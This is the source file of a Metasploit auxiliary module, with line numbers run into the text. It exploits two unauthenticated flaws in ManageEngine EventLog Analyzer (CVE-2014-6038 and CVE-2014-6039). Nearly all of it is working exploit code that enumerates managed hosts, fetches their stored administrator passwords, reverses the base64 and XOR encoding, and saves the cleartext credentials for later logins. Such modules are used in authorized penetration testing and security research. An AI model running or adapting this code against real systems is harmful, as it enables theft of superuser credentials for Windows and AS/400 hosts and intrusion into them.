Path: blob/master/modules/auxiliary/gather/eventlog_cred_disclosure.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::HttpClient9include Msf::Auxiliary::Report1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure',16'Description' => %q{17ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that18allow an unauthenticated user to obtain the superuser password of any managed Windows and19AS/400 hosts. This module abuses both vulnerabilities to collect all the available20usernames and passwords. First the agentHandler servlet is abused to get the hostid and21slid of each device (CVE-2014-6038); then these numeric IDs are used to extract usernames22and passwords by abusing the hostdetails servlet (CVE-2014-6039). Note that on version 7,23the TARGETURI has to be prepended with /event.24},25'Author' => [26'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module27],28'License' => MSF_LICENSE,29'References' => [30[ 'CVE', '2014-6038' ],31[ 'CVE', '2014-6039' ],32[ 'OSVDB', '114342' ],33[ 'OSVDB', '114344' ],34[ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/12' ]35],36'DisclosureDate' => '2014-11-05',37'Notes' => {38'Reliability' => UNKNOWN_RELIABILITY,39'Stability' => UNKNOWN_STABILITY,40'SideEffects' => UNKNOWN_SIDE_EFFECTS41}42)43)4445register_options(46[47Opt::RPORT(8400),48OptString.new('TARGETURI', [ true, 'Eventlog Analyzer application URI (should be /event for version 7)', '/']),49]50)51end5253def decode_password(encoded_password)54password_xor = Rex::Text.decode_base64(encoded_password)55password = ''56password_xor.bytes.each do |byte|57password << (byte ^ 0x30)58end59return password60end6162def run63res = send_request_cgi({64'uri' => normalize_uri(target_uri.path, 'agentHandler'),65'method' => 'GET',66'vars_get' => {67'mode' => 'getTableData',68'table' => 'HostDetails'69}70})7172unless res && res.code == 20073fail_with(Failure::NotFound, "#{peer} - Failed to reach agentHandler servlet")74return75end7677# When passwords have digits the XML parsing will fail.78# Replace with an empty password attribute so that we know the device has a password79# and therefore we want to add it to our host list.80xml = res.body.to_s.gsub(/&#[0-9]*;/, Rex::Text.rand_text_alpha(6))81begin82doc = REXML::Document.new(xml)83rescue84fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{xml}")85end8687slid_host_ary = []88doc.elements.each('Details/HostDetails') do |ele|89if ele.attributes['password']90# If an element doesn't have a password, then we don't care about it.91# Otherwise store the slid and host_id to use later.92slid_host_ary << [ele.attributes['slid'], ele.attributes['host_id']]93end94end9596cred_table = Rex::Text::Table.new(97'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials',98'Indent' => 1,99'Columns' =>100[101'Host',102'Type',103'SubType',104'Domain',105'Username',106'Password',107]108)109110slid_host_ary.each do |host|111res = send_request_cgi({112'uri' => normalize_uri(target_uri.path, 'hostdetails'),113'method' => 'GET',114'vars_get' => {115'slid' => host[0],116'hostid' => host[1]117}118})119120unless res && res.code == 200121fail_with(Failure::NotFound, "#{peer} - Failed to reach hostdetails servlet")122end123124begin125doc = REXML::Document.new(res.body)126rescue127fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{res.body.to_s}")128end129130doc.elements.each('Details/Hosts') do |ele|131# Add an empty string if a variable doesn't exist, we have to check it132# somewhere and it's easier to do it here.133host_ipaddress = ele.attributes['host_ipaddress'] || ''134135ele.elements.each('HostDetails') do |details|136domain_name = details.attributes['domain_name'] || ''137username = details.attributes['username'] || ''138password_encoded = details.attributes['password'] || ''139password = decode_password(password_encoded)140type = details.attributes['type'] || ''141subtype = details.attributes['subtype'] || ''142143unless type =~ /Windows/ || subtype =~ /Windows/144# With AS/400 we get some garbage in the domain name even though it doesn't exist145domain_name = ""146end147148msg = "Got login to #{host_ipaddress} | running "149msg << type << (subtype != '' ? " | #{subtype}" : '')150msg << ' | username: '151msg << (domain_name != '' ? "#{domain_name}\\#{username}" : username)152msg << " | password: #{password}"153print_good(msg)154155cred_table << [host_ipaddress, type, subtype, domain_name, username, password]156157if type == 'Windows'158service_name = 'epmap'159port = 135160elsif type == 'IBM AS/400'161service_name = 'as-servermap'162port = 449163else164next165end166167credential_core = report_credential_core({168password: password,169username: username,170})171172host_login_data = {173address: host_ipaddress,174service_name: service_name,175workspace_id: myworkspace_id,176protocol: 'tcp',177port: port,178core: credential_core,179status: Metasploit::Model::Login::Status::UNTRIED180}181create_credential_login(host_login_data)182end183end184end185186print_line187print_line("#{cred_table}")188loot_name = 'manageengine.eventlog.managed_hosts.creds'189loot_type = 'text/csv'190loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv'191loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials'192p = store_loot(193loot_name,194loot_type,195rhost,196cred_table.to_csv,197loot_filename,198loot_desc199)200print_status "Credentials saved in: #{p}"201end202203def report_credential_core(cred_opts = {})204# Set up the has for our Origin service205origin_service_data = {206address: rhost,207port: rport,208service_name: (ssl ? 'https' : 'http'),209protocol: 'tcp',210workspace_id: myworkspace_id211}212213credential_data = {214origin_type: :service,215module_fullname: self.fullname,216private_type: :password,217private_data: cred_opts[:password],218username: cred_opts[:username]219}220221credential_data.merge!(origin_service_data)222create_credential(credential_data)223end224end225226227